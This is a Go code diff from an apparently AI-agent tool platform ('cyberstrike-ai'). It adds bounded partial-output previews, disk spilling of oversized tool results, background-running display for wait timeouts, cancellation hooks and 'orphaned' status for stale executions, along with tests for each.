server.AppendToolExecutionPartialOutput(executionID, "first\n")
|
||||||
|
server.AppendToolExecutionPartialOutput(executionID, strings.Repeat("x", 32))
|
||||||
|
|
||||||
|
result, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"partial_output_max_bytes": 8,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("get_tool_execution: %v", err)
|
||||||
|
}
|
||||||
|
body := ToolResultPlainText(result)
|
||||||
|
if !strings.Contains(body, `"partial_output": "xxxxxxxx"`) {
|
||||||
|
t.Fatalf("missing bounded partial output: %s", body)
|
||||||
|
}
|
||||||
|
if !strings.Contains(body, `"partial_output_bytes": 38`) {
|
||||||
|
t.Fatalf("missing partial byte count: %s", body)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"include_partial_output": false,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("get_tool_execution without partial: %v", err)
|
||||||
|
}
|
||||||
|
if body := ToolResultPlainText(result); strings.Contains(body, "partial_output") {
|
||||||
|
t.Fatalf("partial output should be omitted: %s", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import "cyberstrike-ai/internal/tooloutput"
|
||||||
|
|
||||||
|
const DefaultToolResultMaxBytes = 12000
|
||||||
|
|
||||||
|
// ToolResultSpillConfig controls where oversized tool results are written on disk
|
||||||
|
// before the in-memory/DB/agent-facing payload is truncated.
|
||||||
|
type ToolResultSpillConfig struct {
|
||||||
|
RootDir string
|
||||||
|
ProjectID string
|
||||||
|
ConversationID string
|
||||||
|
ExecutionID string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NormalizeToolResultForStorage returns the canonical result used by both the
|
||||||
|
// agent-facing response and monitor persistence. When maxBytes is exceeded the
|
||||||
|
// full text is spilled under the reduction cache tree and replaced with a
|
||||||
|
// <persisted-output> notice that includes the file path.
|
||||||
|
func NormalizeToolResultForStorage(result *ToolResult, maxBytes int) *ToolResult {
|
||||||
|
return NormalizeToolResultForStorageWithSpill(result, maxBytes, ToolResultSpillConfig{})
|
||||||
|
}
|
||||||
|
|
||||||
|
// NormalizeToolResultForStorageWithSpill is NormalizeToolResultForStorage with
|
||||||
|
// an explicit spill location (conversation/execution scoped).
|
||||||
|
func NormalizeToolResultForStorageWithSpill(result *ToolResult, maxBytes int, spill ToolResultSpillConfig) *ToolResult {
|
||||||
|
if result == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := cloneToolResult(result)
|
||||||
|
if maxBytes <= 0 {
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
total := 0
|
||||||
|
for _, c := range out.Content {
|
||||||
|
if c.Type == "text" {
|
||||||
|
total += len(c.Text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if total <= maxBytes {
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
full := ToolResultPlainText(out)
|
||||||
|
bound := tooloutput.BoundWithSpill(full, maxBytes, tooloutput.SpillOpts{
|
||||||
|
RootDir: spill.RootDir,
|
||||||
|
ProjectID: spill.ProjectID,
|
||||||
|
ConversationID: spill.ConversationID,
|
||||||
|
ExecutionID: spill.ExecutionID,
|
||||||
|
})
|
||||||
|
out.Content = []Content{{Type: "text", Text: bound}}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneToolResult(in *ToolResult) *ToolResult {
|
||||||
|
if in == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := *in
|
||||||
|
if in.Content != nil {
|
||||||
|
out.Content = append([]Content(nil), in.Content...)
|
||||||
|
}
|
||||||
|
return &out
|
||||||
|
}
|
||||||
@@ -0,0 +1,158 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
type inMemoryMonitorStorage struct {
|
||||||
|
executions map[string]*ToolExecution
|
||||||
|
}
|
||||||
|
|
||||||
|
func newInMemoryMonitorStorage() *inMemoryMonitorStorage {
|
||||||
|
return &inMemoryMonitorStorage{executions: map[string]*ToolExecution{}}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) SaveToolExecution(exec *ToolExecution) error {
|
||||||
|
if exec != nil {
|
||||||
|
s.executions[exec.ID] = cloneToolExecution(exec)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) UpdateToolExecutionResult(id string, result *ToolResult) error {
|
||||||
|
exec := s.executions[id]
|
||||||
|
if exec == nil {
|
||||||
|
exec = &ToolExecution{ID: id}
|
||||||
|
s.executions[id] = exec
|
||||||
|
}
|
||||||
|
exec.Result = cloneToolResult(result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) LoadToolExecutions() ([]*ToolExecution, error) {
|
||||||
|
out := make([]*ToolExecution, 0, len(s.executions))
|
||||||
|
for _, exec := range s.executions {
|
||||||
|
out = append(out, cloneToolExecution(exec))
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) GetToolExecution(id string) (*ToolExecution, error) {
|
||||||
|
if exec := s.executions[id]; exec != nil {
|
||||||
|
return cloneToolExecution(exec), nil
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) SaveToolStats(string, *ToolStats) error { return nil }
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) LoadToolStats() (map[string]*ToolStats, error) {
|
||||||
|
return map[string]*ToolStats{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *inMemoryMonitorStorage) UpdateToolStats(string, int, int, int, *time.Time) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestServerCallToolStoresAndReturnsSameGuardedResult(t *testing.T) {
|
||||||
|
storage := newInMemoryMonitorStorage()
|
||||||
|
server := NewServerWithStorage(zap.NewNop(), storage)
|
||||||
|
server.ConfigureToolWaitTimeoutSeconds(0)
|
||||||
|
server.ConfigureToolResultMaxBytes(400)
|
||||||
|
spillRoot := t.TempDir()
|
||||||
|
server.ConfigureToolResultSpillRoot(spillRoot)
|
||||||
|
server.RegisterTool(Tool{Name: "big", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("x", 800)}}}, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
ctx := WithMCPConversationID(context.Background(), "conv-spill")
|
||||||
|
result, executionID, err := server.CallTool(ctx, "big", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool: %v", err)
|
||||||
|
}
|
||||||
|
if executionID == "" {
|
||||||
|
t.Fatal("missing execution id")
|
||||||
|
}
|
||||||
|
returned := ToolResultPlainText(result)
|
||||||
|
if !strings.Contains(returned, "<persisted-output>") || !strings.Contains(returned, "Full output saved to:") {
|
||||||
|
t.Fatalf("returned result was not spilled: %q", returned)
|
||||||
|
}
|
||||||
|
if len(returned) > 400 {
|
||||||
|
t.Fatalf("returned result exceeded hard limit: len=%d text=%q", len(returned), returned)
|
||||||
|
}
|
||||||
|
|
||||||
|
spillPath := filepath.Join(spillRoot, "conversations", "conv-spill", "trunc", executionID)
|
||||||
|
abs, err := filepath.Abs(spillPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(returned, abs) {
|
||||||
|
t.Fatalf("missing spill path %q in %q", abs, returned)
|
||||||
|
}
|
||||||
|
body, err := os.ReadFile(abs)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read spill file: %v", err)
|
||||||
|
}
|
||||||
|
if string(body) != strings.Repeat("x", 800) {
|
||||||
|
t.Fatalf("spill body mismatch: len=%d", len(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
inMem, ok := server.GetExecution(executionID)
|
||||||
|
if !ok || inMem == nil || inMem.Result == nil {
|
||||||
|
t.Fatalf("missing in-memory execution: %#v", inMem)
|
||||||
|
}
|
||||||
|
stored := storage.executions[executionID]
|
||||||
|
if stored == nil || stored.Result == nil {
|
||||||
|
t.Fatalf("missing stored execution: %#v", stored)
|
||||||
|
}
|
||||||
|
if ToolResultPlainText(inMem.Result) != returned {
|
||||||
|
t.Fatalf("in-memory result != returned\nmem=%q\nret=%q", ToolResultPlainText(inMem.Result), returned)
|
||||||
|
}
|
||||||
|
if ToolResultPlainText(stored.Result) != returned {
|
||||||
|
t.Fatalf("stored result != returned\nstored=%q\nret=%q", ToolResultPlainText(stored.Result), returned)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecutionServiceStoresGuardedResult(t *testing.T) {
|
||||||
|
service := NewExecutionService(nil, zap.NewNop())
|
||||||
|
service.ConfigureToolResultMaxBytes(400)
|
||||||
|
spillRoot := t.TempDir()
|
||||||
|
service.ConfigureToolResultSpillRoot(spillRoot)
|
||||||
|
handle, err := service.Submit(context.Background(), ExecutionRequest{
|
||||||
|
ToolName: "big",
|
||||||
|
ConversationID: "svc-conv",
|
||||||
|
Run: func(context.Context) (*ToolResult, error) {
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("a", 800)}}}, nil
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Submit: %v", err)
|
||||||
|
}
|
||||||
|
snap, err := service.Wait(context.Background(), handle.ID, time.Second)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Wait: %v", err)
|
||||||
|
}
|
||||||
|
got := ToolResultPlainText(snap.Execution.Result)
|
||||||
|
if !strings.Contains(got, "<persisted-output>") {
|
||||||
|
t.Fatalf("service result was not spilled: %q", got)
|
||||||
|
}
|
||||||
|
if len(got) > 400 {
|
||||||
|
t.Fatalf("service result exceeded hard limit: len=%d text=%q", len(got), got)
|
||||||
|
}
|
||||||
|
path := filepath.Join(spillRoot, "conversations", "svc-conv", "trunc", handle.ID)
|
||||||
|
abs, _ := filepath.Abs(path)
|
||||||
|
body, err := os.ReadFile(abs)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read spill: %v", err)
|
||||||
|
}
|
||||||
|
if string(body) != strings.Repeat("a", 800) {
|
||||||
|
t.Fatalf("unexpected spill body len=%d", len(body))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -199,6 +199,12 @@ type ToolExecution struct {
|
|||||||
StartTime time.Time `json:"startTime"`
|
StartTime time.Time `json:"startTime"`
|
||||||
EndTime *time.Time `json:"endTime,omitempty"`
|
EndTime *time.Time `json:"endTime,omitempty"`
|
||||||
Duration time.Duration `json:"duration,omitempty"`
|
Duration time.Duration `json:"duration,omitempty"`
|
||||||
|
// PartialOutput is a bounded tail preview of output produced by a running tool.
|
||||||
|
// It is intentionally separate from Result, which remains the final canonical tool result.
|
||||||
|
PartialOutput string `json:"partialOutput,omitempty"`
|
||||||
|
PartialOutputBytes int64 `json:"partialOutputBytes,omitempty"`
|
||||||
|
PartialOutputTruncated bool `json:"partialOutputTruncated,omitempty"`
|
||||||
|
PartialOutputUpdatedAt *time.Time `json:"partialOutputUpdatedAt,omitempty"`
|
||||||
// ConversationID 仅 API 展示用(进行中的 Agent 任务),不写入 tool_executions 表。
|
// ConversationID 仅 API 展示用(进行中的 Agent 任务),不写入 tool_executions 表。
|
||||||
ConversationID string `json:"conversationId,omitempty"`
|
ConversationID string `json:"conversationId,omitempty"`
|
||||||
OwnerUserID string `json:"-"`
|
OwnerUserID string `json:"-"`
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ const (
|
|||||||
staleRunningReconcileGap = 2 * time.Minute
|
staleRunningReconcileGap = 2 * time.Minute
|
||||||
)
|
)
|
||||||
|
|
||||||
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 cancelled。
|
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 orphaned。
|
||||||
type ExecutionReconciler struct {
|
type ExecutionReconciler struct {
|
||||||
db *database.DB
|
db *database.DB
|
||||||
mcpServer *mcp.Server
|
mcpServer *mcp.Server
|
||||||
@@ -32,7 +32,7 @@ func NewExecutionReconciler(db *database.DB, mcpServer *mcp.Server, externalMgr
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ReconcileOnStartup marks every persisted running row as cancelled (safe right after process start).
|
// ReconcileOnStartup marks every persisted running row as orphaned (safe right after process start).
|
||||||
func (r *ExecutionReconciler) ReconcileOnStartup() {
|
func (r *ExecutionReconciler) ReconcileOnStartup() {
|
||||||
if r == nil || r.db == nil {
|
if r == nil || r.db == nil {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ func TestExecutionReconciler_ReconcileOnStartup(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("GetToolExecution: %v", err)
|
t.Fatalf("GetToolExecution: %v", err)
|
||||||
}
|
}
|
||||||
if got.Status != "cancelled" {
|
if got.Status != "orphaned" {
|
||||||
t.Fatalf("expected cancelled after startup reconcile, got %s", got.Status)
|
t.Fatalf("expected orphaned after startup reconcile, got %s", got.Status)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"io"
|
"io"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
@@ -315,10 +316,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
if len(preview) > 200 {
|
if len(preview) > 200 {
|
||||||
preview = preview[:200] + "..."
|
preview = preview[:200] + "..."
|
||||||
}
|
}
|
||||||
|
backgroundRunning := isErr && isMCPBackgroundWaitResult(content)
|
||||||
|
displayIsErr := isErr && !backgroundRunning
|
||||||
data := map[string]interface{}{
|
data := map[string]interface{}{
|
||||||
"toolName": toolName,
|
"toolName": toolName,
|
||||||
"success": !isErr,
|
"success": !displayIsErr,
|
||||||
"isError": isErr,
|
"isError": displayIsErr,
|
||||||
"result": content,
|
"result": content,
|
||||||
"resultPreview": preview,
|
"resultPreview": preview,
|
||||||
"agentFacing": true, // 与 reduction 后送入 ChatModel 的正文一致,供前端展示
|
"agentFacing": true, // 与 reduction 后送入 ChatModel 的正文一致,供前端展示
|
||||||
@@ -327,6 +330,13 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": einoRoleTag(agentName),
|
"einoRole": einoRoleTag(agentName),
|
||||||
"source": "eino",
|
"source": "eino",
|
||||||
}
|
}
|
||||||
|
if backgroundRunning {
|
||||||
|
data["status"] = "background_running"
|
||||||
|
data["modelFacingIsError"] = isErr
|
||||||
|
if execID := mcpExecutionIDFromWaitResult(content); execID != "" {
|
||||||
|
data["executionId"] = execID
|
||||||
|
}
|
||||||
|
}
|
||||||
tid := strings.TrimSpace(toolCallID)
|
tid := strings.TrimSpace(toolCallID)
|
||||||
if tid == "" {
|
if tid == "" {
|
||||||
if inferred, ok := popNextPendingForAgent(agentName); ok {
|
if inferred, ok := popNextPendingForAgent(agentName); ok {
|
||||||
@@ -347,8 +357,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
data["toolCallId"] = tid
|
data["toolCallId"] = tid
|
||||||
toolCallID = tid
|
toolCallID = tid
|
||||||
}
|
}
|
||||||
recordPendingExecuteStdoutDup(toolName, content, isErr)
|
recordPendingExecuteStdoutDup(toolName, content, displayIsErr)
|
||||||
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
|
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, displayIsErr)
|
||||||
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
|
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
|
||||||
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
|
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
|
||||||
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
|
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
|
||||||
@@ -1242,6 +1252,40 @@ func einoToolResultIsError(toolName, content string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isMCPBackgroundWaitResult(content string) bool {
|
||||||
|
text := strings.ToLower(strings.TrimSpace(content))
|
||||||
|
if text == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
|
||||||
|
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
|
||||||
|
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
|
||||||
|
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
|
||||||
|
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
|
||||||
|
strings.Contains(text, "本次等待已到达") ||
|
||||||
|
strings.Contains(text, "wait_timeout:") ||
|
||||||
|
strings.Contains(text, "background execution") ||
|
||||||
|
strings.Contains(text, "still running") ||
|
||||||
|
strings.Contains(text, "仍未完成")
|
||||||
|
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpExecutionIDFromWaitResult(content string) string {
|
||||||
|
re := regexp.MustCompile(`(?i)"?execution_id"?\s*[:=]\s*"?([0-9a-f]{8}-[0-9a-f-]{12,})"?`)
|
||||||
|
if m := re.FindStringSubmatch(content); len(m) > 1 {
|
||||||
|
return strings.TrimSpace(m[1])
|
||||||
|
}
|
||||||
|
for _, line := range strings.Split(content, "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
lower := strings.ToLower(line)
|
||||||
|
if !strings.HasPrefix(lower, "execution_id:") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return strings.Trim(strings.TrimSpace(line[len("execution_id:"):]), `"'`)
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
// einoToolResultBody 去掉工具错误前缀,返回展示/持久化正文。
|
// einoToolResultBody 去掉工具错误前缀,返回展示/持久化正文。
|
||||||
func einoToolResultBody(content string) string {
|
func einoToolResultBody(content string) string {
|
||||||
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
|
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
|
||||||
|
|||||||
@@ -112,3 +112,41 @@ func TestFriendlyEinoExecuteInvokeTail(t *testing.T) {
|
|||||||
t.Fatal("unexpected error should get tail")
|
t.Fatal("unexpected error should get tail")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMCPBackgroundWaitResultIsDisplayRunning(t *testing.T) {
|
||||||
|
body := `工具已提交到后台执行,但本次等待已到达上限。
|
||||||
|
|
||||||
|
execution_id: 3eaaa391-050b-4be1-a870-48a855923cb7
|
||||||
|
tool: exec
|
||||||
|
status: running
|
||||||
|
wait_timeout: 10s
|
||||||
|
elapsed: 10s
|
||||||
|
|
||||||
|
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`
|
||||||
|
modelFacing := einomcp.ToolErrorPrefix + body
|
||||||
|
if !einoToolResultIsError("exec", modelFacing) {
|
||||||
|
t.Fatal("soft wait timeout must remain model-facing tool error")
|
||||||
|
}
|
||||||
|
if !isMCPBackgroundWaitResult(einoToolResultBody(modelFacing)) {
|
||||||
|
t.Fatal("soft wait timeout should display as background running")
|
||||||
|
}
|
||||||
|
if got := mcpExecutionIDFromWaitResult(einoToolResultBody(modelFacing)); got != "3eaaa391-050b-4be1-a870-48a855923cb7" {
|
||||||
|
t.Fatalf("execution id = %q", got)
|
||||||
|
}
|
||||||
|
if isMCPBackgroundWaitResult("execution_id: abc\nstatus: failed\nerror: boom") {
|
||||||
|
t.Fatal("real failures must not display as background running")
|
||||||
|
}
|
||||||
|
jsonBody := `{
|
||||||
|
"execution_id": "e98baefc-72eb-4a7e-9091-9be179a75d71",
|
||||||
|
"tool": "exec",
|
||||||
|
"status": "running"
|
||||||
|
}
|
||||||
|
|
||||||
|
本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。`
|
||||||
|
if !isMCPBackgroundWaitResult(jsonBody) {
|
||||||
|
t.Fatal("json wait_tool_execution timeout should display as background running")
|
||||||
|
}
|
||||||
|
if got := mcpExecutionIDFromWaitResult(jsonBody); got != "e98baefc-72eb-4a7e-9091-9be179a75d71" {
|
||||||
|
t.Fatalf("json execution id = %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -12,6 +12,9 @@ import (
|
|||||||
// 与 CallTool 路径一致,使监控页能展示「执行中」状态。
|
// 与 CallTool 路径一致,使监控页能展示「执行中」状态。
|
||||||
func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, recorder einomcp.ExecutionRecorder) (
|
func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, recorder einomcp.ExecutionRecorder) (
|
||||||
begin func(toolCallID, command string) string,
|
begin func(toolCallID, command string) string,
|
||||||
|
appendPartial func(executionID, toolCallID, chunk string),
|
||||||
|
registerCancel func(executionID string, cancel context.CancelFunc),
|
||||||
|
unregisterCancel func(executionID string),
|
||||||
finish func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
finish func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
||||||
) {
|
) {
|
||||||
begin = func(toolCallID, command string) string {
|
begin = func(toolCallID, command string) string {
|
||||||
@@ -25,6 +28,24 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
|
|||||||
}
|
}
|
||||||
return id
|
return id
|
||||||
}
|
}
|
||||||
|
appendPartial = func(executionID, toolCallID, chunk string) {
|
||||||
|
if ag == nil || executionID == "" || chunk == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ag.AppendLocalToolExecutionPartialOutput(executionID, chunk)
|
||||||
|
}
|
||||||
|
registerCancel = func(executionID string, cancel context.CancelFunc) {
|
||||||
|
if ag == nil || executionID == "" || cancel == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ag.RegisterLocalToolExecutionCancel(executionID, cancel)
|
||||||
|
}
|
||||||
|
unregisterCancel = func(executionID string) {
|
||||||
|
if ag == nil || executionID == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ag.UnregisterLocalToolExecutionCancel(executionID)
|
||||||
|
}
|
||||||
finish = func(executionID, toolCallID, command, stdout string, success bool, invokeErr error) {
|
finish = func(executionID, toolCallID, command, stdout string, success bool, invokeErr error) {
|
||||||
if ag == nil {
|
if ag == nil {
|
||||||
return
|
return
|
||||||
@@ -43,5 +64,5 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
|
|||||||
recorder(id, toolCallID)
|
recorder(id, toolCallID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return begin, finish
|
return begin, appendPartial, registerCancel, unregisterCancel, finish
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -63,11 +63,16 @@ type einoStreamingShellWrap struct {
|
|||||||
outputChunk func(toolName, toolCallID, chunk string)
|
outputChunk func(toolName, toolCallID, chunk string)
|
||||||
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
|
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
|
||||||
toolTimeoutMinutes int
|
toolTimeoutMinutes int
|
||||||
|
// toolWaitTimeoutSeconds 与 agent.tool_wait_timeout_seconds 对齐;>0 时本轮等待到期后返回 execution_id,shell 继续后台运行。
|
||||||
|
toolWaitTimeoutSeconds int
|
||||||
// shellNoOutputTimeoutSec:无任何输出时的空闲秒数;0=关闭。
|
// shellNoOutputTimeoutSec:无任何输出时的空闲秒数;0=关闭。
|
||||||
shellNoOutputTimeoutSec int
|
shellNoOutputTimeoutSec int
|
||||||
// beginMonitor 在 execute 开始时写入 running 状态;finishMonitor 在流结束后更新为 completed/failed。
|
// beginMonitor 在 execute 开始时写入 running 状态;finishMonitor 在流结束后更新为 completed/failed。
|
||||||
beginMonitor func(toolCallID, command string) string
|
beginMonitor func(toolCallID, command string) string
|
||||||
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
|
appendPartialMonitor func(executionID, toolCallID, chunk string)
|
||||||
|
registerCancelMonitor func(executionID string, cancel context.CancelFunc)
|
||||||
|
unregisterCancelMonitor func(executionID string)
|
||||||
|
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
||||||
@@ -104,6 +109,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
if w.toolTimeoutMinutes > 0 {
|
if w.toolTimeoutMinutes > 0 {
|
||||||
execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
|
execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
|
||||||
}
|
}
|
||||||
|
if monitorExecID != "" && w.registerCancelMonitor != nil {
|
||||||
|
w.registerCancelMonitor(monitorExecID, execCancel)
|
||||||
|
}
|
||||||
if execReg != nil && convID != "" {
|
if execReg != nil && convID != "" {
|
||||||
execReg.RegisterActiveEinoExecute(convID, execCancel)
|
execReg.RegisterActiveEinoExecute(convID, execCancel)
|
||||||
}
|
}
|
||||||
@@ -116,6 +124,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
if execCancel != nil {
|
if execCancel != nil {
|
||||||
execCancel()
|
execCancel()
|
||||||
}
|
}
|
||||||
|
if monitorExecID != "" && w.unregisterCancelMonitor != nil {
|
||||||
|
w.unregisterCancelMonitor(monitorExecID)
|
||||||
|
}
|
||||||
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
|
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
|
||||||
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
||||||
if w.finishMonitor != nil {
|
if w.finishMonitor != nil {
|
||||||
@@ -146,7 +157,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
|
|
||||||
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
|
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
|
||||||
|
|
||||||
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int) {
|
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int, waitTimeoutSec int) {
|
||||||
var innerCloseOnce sync.Once
|
var innerCloseOnce sync.Once
|
||||||
closeInner := func() {
|
closeInner := func() {
|
||||||
innerCloseOnce.Do(func() { inner.Close() })
|
innerCloseOnce.Do(func() { inner.Close() })
|
||||||
@@ -164,6 +175,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
if toolReg != nil && conversationID != "" && execID != "" {
|
if toolReg != nil && conversationID != "" && execID != "" {
|
||||||
defer toolReg.UnregisterRunningTool(conversationID, execID)
|
defer toolReg.UnregisterRunningTool(conversationID, execID)
|
||||||
}
|
}
|
||||||
|
if w.unregisterCancelMonitor != nil && execID != "" {
|
||||||
|
defer w.unregisterCancelMonitor(execID)
|
||||||
